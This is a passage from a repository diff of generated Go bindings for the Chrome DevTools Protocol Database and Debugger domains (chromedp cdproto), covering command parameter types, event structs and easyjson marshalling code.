type GetDatabaseTableNamesParams struct {
DatabaseID ID `json:"databaseId"`
}
// GetDatabaseTableNames [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#method-getDatabaseTableNames
//
// parameters:
//
// databaseID
func GetDatabaseTableNames(databaseID ID) *GetDatabaseTableNamesParams {
return &GetDatabaseTableNamesParams{
DatabaseID: databaseID,
}
}
// GetDatabaseTableNamesReturns return values.
type GetDatabaseTableNamesReturns struct {
TableNames []string `json:"tableNames,omitempty"`
}
// Do executes Database.getDatabaseTableNames against the provided context.
//
// returns:
//
// tableNames
func (p *GetDatabaseTableNamesParams) Do(ctx context.Context) (tableNames []string, err error) {
// execute
var res GetDatabaseTableNamesReturns
err = cdp.Execute(ctx, CommandGetDatabaseTableNames, p, &res)
if err != nil {
return nil, err
}
return res.TableNames, nil
}
// Command names.
const (
CommandDisable = "Database.disable"
CommandEnable = "Database.enable"
CommandExecuteSQL = "Database.executeSQL"
CommandGetDatabaseTableNames = "Database.getDatabaseTableNames"
)
+770
View File
@@ -0,0 +1,770 @@
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
package database
import (
json "encoding/json"
easyjson "github.com/mailru/easyjson"
jlexer "github.com/mailru/easyjson/jlexer"
jwriter "github.com/mailru/easyjson/jwriter"
)
// suppress unused package warning
var (
_ *json.RawMessage
_ *jlexer.Lexer
_ *jwriter.Writer
_ easyjson.Marshaler
)
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase(in *jlexer.Lexer, out *GetDatabaseTableNamesReturns) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "tableNames":
if in.IsNull() {
in.Skip()
out.TableNames = nil
} else {
in.Delim('[')
if out.TableNames == nil {
if !in.IsDelim(']') {
out.TableNames = make([]string, 0, 4)
} else {
out.TableNames = []string{}
}
} else {
out.TableNames = (out.TableNames)[:0]
}
for !in.IsDelim(']') {
var v1 string
v1 = string(in.String())
out.TableNames = append(out.TableNames, v1)
in.WantComma()
}
in.Delim(']')
}
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase(out *jwriter.Writer, in GetDatabaseTableNamesReturns) {
out.RawByte('{')
first := true
_ = first
if len(in.TableNames) != 0 {
const prefix string = ",\"tableNames\":"
first = false
out.RawString(prefix[1:])
{
out.RawByte('[')
for v2, v3 := range in.TableNames {
if v2 > 0 {
out.RawByte(',')
}
out.String(string(v3))
}
out.RawByte(']')
}
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v GetDatabaseTableNamesReturns) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v GetDatabaseTableNamesReturns) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *GetDatabaseTableNamesReturns) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *GetDatabaseTableNamesReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase1(in *jlexer.Lexer, out *GetDatabaseTableNamesParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "databaseId":
out.DatabaseID = ID(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase1(out *jwriter.Writer, in GetDatabaseTableNamesParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"databaseId\":"
out.RawString(prefix[1:])
out.String(string(in.DatabaseID))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v GetDatabaseTableNamesParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase1(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v GetDatabaseTableNamesParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase1(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *GetDatabaseTableNamesParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase1(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *GetDatabaseTableNamesParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase1(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase2(in *jlexer.Lexer, out *ExecuteSQLReturns) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "columnNames":
if in.IsNull() {
in.Skip()
out.ColumnNames = nil
} else {
in.Delim('[')
if out.ColumnNames == nil {
if !in.IsDelim(']') {
out.ColumnNames = make([]string, 0, 4)
} else {
out.ColumnNames = []string{}
}
} else {
out.ColumnNames = (out.ColumnNames)[:0]
}
for !in.IsDelim(']') {
var v4 string
v4 = string(in.String())
out.ColumnNames = append(out.ColumnNames, v4)
in.WantComma()
}
in.Delim(']')
}
case "values":
if in.IsNull() {
in.Skip()
out.Values = nil
} else {
in.Delim('[')
if out.Values == nil {
if !in.IsDelim(']') {
out.Values = make([]easyjson.RawMessage, 0, 2)
} else {
out.Values = []easyjson.RawMessage{}
}
} else {
out.Values = (out.Values)[:0]
}
for !in.IsDelim(']') {
var v5 easyjson.RawMessage
(v5).UnmarshalEasyJSON(in)
out.Values = append(out.Values, v5)
in.WantComma()
}
in.Delim(']')
}
case "sqlError":
if in.IsNull() {
in.Skip()
out.SQLError = nil
} else {
if out.SQLError == nil {
out.SQLError = new(Error)
}
(*out.SQLError).UnmarshalEasyJSON(in)
}
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase2(out *jwriter.Writer, in ExecuteSQLReturns) {
out.RawByte('{')
first := true
_ = first
if len(in.ColumnNames) != 0 {
const prefix string = ",\"columnNames\":"
first = false
out.RawString(prefix[1:])
{
out.RawByte('[')
for v6, v7 := range in.ColumnNames {
if v6 > 0 {
out.RawByte(',')
}
out.String(string(v7))
}
out.RawByte(']')
}
}
if len(in.Values) != 0 {
const prefix string = ",\"values\":"
if first {
first = false
out.RawString(prefix[1:])
} else {
out.RawString(prefix)
}
{
out.RawByte('[')
for v8, v9 := range in.Values {
if v8 > 0 {
out.RawByte(',')
}
(v9).MarshalEasyJSON(out)
}
out.RawByte(']')
}
}
if in.SQLError != nil {
const prefix string = ",\"sqlError\":"
if first {
first = false
out.RawString(prefix[1:])
} else {
out.RawString(prefix)
}
(*in.SQLError).MarshalEasyJSON(out)
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v ExecuteSQLReturns) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase2(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v ExecuteSQLReturns) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase2(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *ExecuteSQLReturns) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase2(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *ExecuteSQLReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase2(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase3(in *jlexer.Lexer, out *ExecuteSQLParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "databaseId":
out.DatabaseID = ID(in.String())
case "query":
out.Query = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase3(out *jwriter.Writer, in ExecuteSQLParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"databaseId\":"
out.RawString(prefix[1:])
out.String(string(in.DatabaseID))
}
{
const prefix string = ",\"query\":"
out.RawString(prefix)
out.String(string(in.Query))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v ExecuteSQLParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase3(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v ExecuteSQLParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase3(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *ExecuteSQLParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase3(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *ExecuteSQLParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase3(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase4(in *jlexer.Lexer, out *EventAddDatabase) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "database":
if in.IsNull() {
in.Skip()
out.Database = nil
} else {
if out.Database == nil {
out.Database = new(Database)
}
(*out.Database).UnmarshalEasyJSON(in)
}
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase4(out *jwriter.Writer, in EventAddDatabase) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"database\":"
out.RawString(prefix[1:])
if in.Database == nil {
out.RawString("null")
} else {
(*in.Database).MarshalEasyJSON(out)
}
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EventAddDatabase) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase4(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EventAddDatabase) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase4(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EventAddDatabase) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase4(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EventAddDatabase) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase4(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase5(in *jlexer.Lexer, out *Error) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "message":
out.Message = string(in.String())
case "code":
out.Code = int64(in.Int64())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase5(out *jwriter.Writer, in Error) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"message\":"
out.RawString(prefix[1:])
out.String(string(in.Message))
}
{
const prefix string = ",\"code\":"
out.RawString(prefix)
out.Int64(int64(in.Code))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v Error) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase5(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v Error) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase5(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *Error) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase5(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *Error) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase5(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase6(in *jlexer.Lexer, out *EnableParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase6(out *jwriter.Writer, in EnableParams) {
out.RawByte('{')
first := true
_ = first
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EnableParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase6(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase6(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EnableParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase6(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase6(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase7(in *jlexer.Lexer, out *DisableParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase7(out *jwriter.Writer, in DisableParams) {
out.RawByte('{')
first := true
_ = first
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v DisableParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase7(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase7(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *DisableParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase7(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase7(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase8(in *jlexer.Lexer, out *Database) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "id":
out.ID = ID(in.String())
case "domain":
out.Domain = string(in.String())
case "name":
out.Name = string(in.String())
case "version":
out.Version = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase8(out *jwriter.Writer, in Database) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"id\":"
out.RawString(prefix[1:])
out.String(string(in.ID))
}
{
const prefix string = ",\"domain\":"
out.RawString(prefix)
out.String(string(in.Domain))
}
{
const prefix string = ",\"name\":"
out.RawString(prefix)
out.String(string(in.Name))
}
{
const prefix string = ",\"version\":"
out.RawString(prefix)
out.String(string(in.Version))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v Database) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase8(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v Database) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase8(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *Database) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase8(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *Database) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase8(l, v)
}
+10
View File
@@ -0,0 +1,10 @@
package database
// Code generated by cdproto-gen. DO NOT EDIT.
// EventAddDatabase [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#event-addDatabase
type EventAddDatabase struct {
Database *Database `json:"database"`
}
+31
View File
@@ -0,0 +1,31 @@
package database
// Code generated by cdproto-gen. DO NOT EDIT.
// ID unique identifier of Database object.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#type-DatabaseId
type ID string
// String returns the ID as string value.
func (t ID) String() string {
return string(t)
}
// Database database object.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#type-Database
type Database struct {
ID ID `json:"id"` // Database ID.
Domain string `json:"domain"` // Database domain.
Name string `json:"name"` // Database name.
Version string `json:"version"` // Database version.
}
// Error database error.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#type-Error
type Error struct {
Message string `json:"message"` // Error message.
Code int64 `json:"code"` // Error code.
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+85
View File
@@ -0,0 +1,85 @@
package debugger
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"github.com/chromedp/cdproto/runtime"
"github.com/mailru/easyjson"
)
// EventBreakpointResolved fired when breakpoint is resolved to an actual
// script and location.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-breakpointResolved
type EventBreakpointResolved struct {
BreakpointID BreakpointID `json:"breakpointId"` // Breakpoint unique identifier.
Location *Location `json:"location"` // Actual breakpoint location.
}
// EventPaused fired when the virtual machine stopped on breakpoint or
// exception or any other stop criteria.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-paused
type EventPaused struct {
CallFrames []*CallFrame `json:"callFrames"` // Call stack the virtual machine stopped on.
Reason PausedReason `json:"reason"` // Pause reason.
Data easyjson.RawMessage `json:"data,omitempty"`
HitBreakpoints []string `json:"hitBreakpoints,omitempty"` // Hit breakpoints IDs
AsyncStackTrace *runtime.StackTrace `json:"asyncStackTrace,omitempty"` // Async stack trace, if any.
AsyncStackTraceID *runtime.StackTraceID `json:"asyncStackTraceId,omitempty"` // Async stack trace, if any.
}
// EventResumed fired when the virtual machine resumed execution.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-resumed
type EventResumed struct{}
// EventScriptFailedToParse fired when virtual machine fails to parse the
// script.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-scriptFailedToParse
type EventScriptFailedToParse struct {
ScriptID runtime.ScriptID `json:"scriptId"` // Identifier of the script parsed.
URL string `json:"url"` // URL or name of the script parsed (if any).
StartLine int64 `json:"startLine"` // Line offset of the script within the resource with given URL (for script tags).
StartColumn int64 `json:"startColumn"` // Column offset of the script within the resource with given URL.
EndLine int64 `json:"endLine"` // Last line of the script.
EndColumn int64 `json:"endColumn"` // Length of the last line of the script.
ExecutionContextID runtime.ExecutionContextID `json:"executionContextId"` // Specifies script creation context.
Hash string `json:"hash"` // Content hash of the script, SHA-256.
ExecutionContextAuxData easyjson.RawMessage `json:"executionContextAuxData,omitempty"`
SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with script (if any).
HasSourceURL bool `json:"hasSourceURL,omitempty"` // True, if this script has sourceURL.
IsModule bool `json:"isModule,omitempty"` // True, if this script is ES6 module.
Length int64 `json:"length,omitempty"` // This script length.
StackTrace *runtime.StackTrace `json:"stackTrace,omitempty"` // JavaScript top stack frame of where the script parsed event was triggered if available.
CodeOffset int64 `json:"codeOffset,omitempty"` // If the scriptLanguage is WebAssembly, the code section offset in the module.
ScriptLanguage ScriptLanguage `json:"scriptLanguage,omitempty"` // The language of the script.
EmbedderName string `json:"embedderName,omitempty"` // The name the embedder supplied for this script.
}
// EventScriptParsed fired when virtual machine parses script. This event is
// also fired for all known and uncollected scripts upon enabling debugger.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-scriptParsed
type EventScriptParsed struct {
ScriptID runtime.ScriptID `json:"scriptId"` // Identifier of the script parsed.
URL string `json:"url"` // URL or name of the script parsed (if any).
StartLine int64 `json:"startLine"` // Line offset of the script within the resource with given URL (for script tags).
StartColumn int64 `json:"startColumn"` // Column offset of the script within the resource with given URL.
EndLine int64 `json:"endLine"` // Last line of the script.
EndColumn int64 `json:"endColumn"` // Length of the last line of the script.
ExecutionContextID runtime.ExecutionContextID `json:"executionContextId"` // Specifies script creation context.
Hash string `json:"hash"` // Content hash of the script, SHA-256.
ExecutionContextAuxData easyjson.RawMessage `json:"executionContextAuxData,omitempty"`
IsLiveEdit bool `json:"isLiveEdit,omitempty"` // True, if this script is generated as a result of the live edit operation.
SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with script (if any).
HasSourceURL bool `json:"hasSourceURL,omitempty"` // True, if this script has sourceURL.
IsModule bool `json:"isModule,omitempty"` // True, if this script is ES6 module.
Length int64 `json:"length,omitempty"` // This script length.
StackTrace *runtime.StackTrace `json:"stackTrace,omitempty"` // JavaScript top stack frame of where the script parsed event was triggered if available.
CodeOffset int64 `json:"codeOffset,omitempty"` // If the scriptLanguage is WebAssembly, the code section offset in the module.
ScriptLanguage ScriptLanguage `json:"scriptLanguage,omitempty"` // The language of the script.
DebugSymbols *DebugSymbols `json:"debugSymbols,omitempty"` // If the scriptLanguage is WebASsembly, the source of debug symbols for the module.
EmbedderName string `json:"embedderName,omitempty"` // The name the embedder supplied for this script.
}
+629
View File
@@ -0,0 +1,629 @@
package debugger
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"github.com/chromedp/cdproto/runtime"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
)
// BreakpointID breakpoint identifier.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-BreakpointId
type BreakpointID string
// String returns the BreakpointID as string value.
func (t BreakpointID) String() string {
return string(t)
}
// CallFrameID call frame identifier.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-CallFrameId
type CallFrameID string
// String returns the CallFrameID as string value.
func (t CallFrameID) String() string {
return string(t)
}
// Location location in the source code.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-Location
type Location struct {
ScriptID runtime.ScriptID `json:"scriptId"` // Script identifier as reported in the Debugger.scriptParsed.
LineNumber int64 `json:"lineNumber"` // Line number in the script (0-based).
ColumnNumber int64 `json:"columnNumber,omitempty"` // Column number in the script (0-based).
}
// ScriptPosition location in the source code.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-ScriptPosition
type ScriptPosition struct {
LineNumber int64 `json:"lineNumber"`
ColumnNumber int64 `json:"columnNumber"`
}
// LocationRange location range within one script.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-LocationRange
type LocationRange struct {
ScriptID runtime.ScriptID `json:"scriptId"`
Start *ScriptPosition `json:"start"`
End *ScriptPosition `json:"end"`
}
// CallFrame JavaScript call frame. Array of call frames form the call stack.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-CallFrame
type CallFrame struct {
CallFrameID CallFrameID `json:"callFrameId"` // Call frame identifier. This identifier is only valid while the virtual machine is paused.
FunctionName string `json:"functionName"` // Name of the JavaScript function called on this call frame.
FunctionLocation *Location `json:"functionLocation,omitempty"` // Location in the source code.
Location *Location `json:"location"` // Location in the source code.
ScopeChain []*Scope `json:"scopeChain"` // Scope chain for this call frame.
This *runtime.RemoteObject `json:"this"` // this object for this call frame.
ReturnValue *runtime.RemoteObject `json:"returnValue,omitempty"` // The value being returned, if the function is at return point.
CanBeRestarted bool `json:"canBeRestarted,omitempty"` // Valid only while the VM is paused and indicates whether this frame can be restarted or not. Note that a true value here does not guarantee that Debugger#restartFrame with this CallFrameId will be successful, but it is very likely.
}
// Scope scope description.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-Scope
type Scope struct {
Type ScopeType `json:"type"` // Scope type.
Object *runtime.RemoteObject `json:"object"` // Object representing the scope. For global and with scopes it represents the actual object; for the rest of the scopes, it is artificial transient object enumerating scope variables as its properties.
Name string `json:"name,omitempty"`
StartLocation *Location `json:"startLocation,omitempty"` // Location in the source code where scope starts
EndLocation *Location `json:"endLocation,omitempty"` // Location in the source code where scope ends
}
// SearchMatch search match for resource.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-SearchMatch
type SearchMatch struct {
LineNumber float64 `json:"lineNumber"` // Line number in resource content.
LineContent string `json:"lineContent"` // Line with match content.
}
// BreakLocation [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-BreakLocation
type BreakLocation struct {
ScriptID runtime.ScriptID `json:"scriptId"` // Script identifier as reported in the Debugger.scriptParsed.
LineNumber int64 `json:"lineNumber"` // Line number in the script (0-based).
ColumnNumber int64 `json:"columnNumber,omitempty"` // Column number in the script (0-based).
Type BreakLocationType `json:"type,omitempty"`
}
// WasmDisassemblyChunk [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-WasmDisassemblyChunk
type WasmDisassemblyChunk struct {
Lines []string `json:"lines"` // The next chunk of disassembled lines.
BytecodeOffsets []int64 `json:"bytecodeOffsets"` // The bytecode offsets describing the start of each line.
}
// ScriptLanguage enum of possible script languages.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-ScriptLanguage
type ScriptLanguage string
// String returns the ScriptLanguage as string value.
func (t ScriptLanguage) String() string {
return string(t)
}
// ScriptLanguage values.
const (
ScriptLanguageJavaScript ScriptLanguage = "JavaScript"
ScriptLanguageWebAssembly ScriptLanguage = "WebAssembly"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t ScriptLanguage) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t ScriptLanguage) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
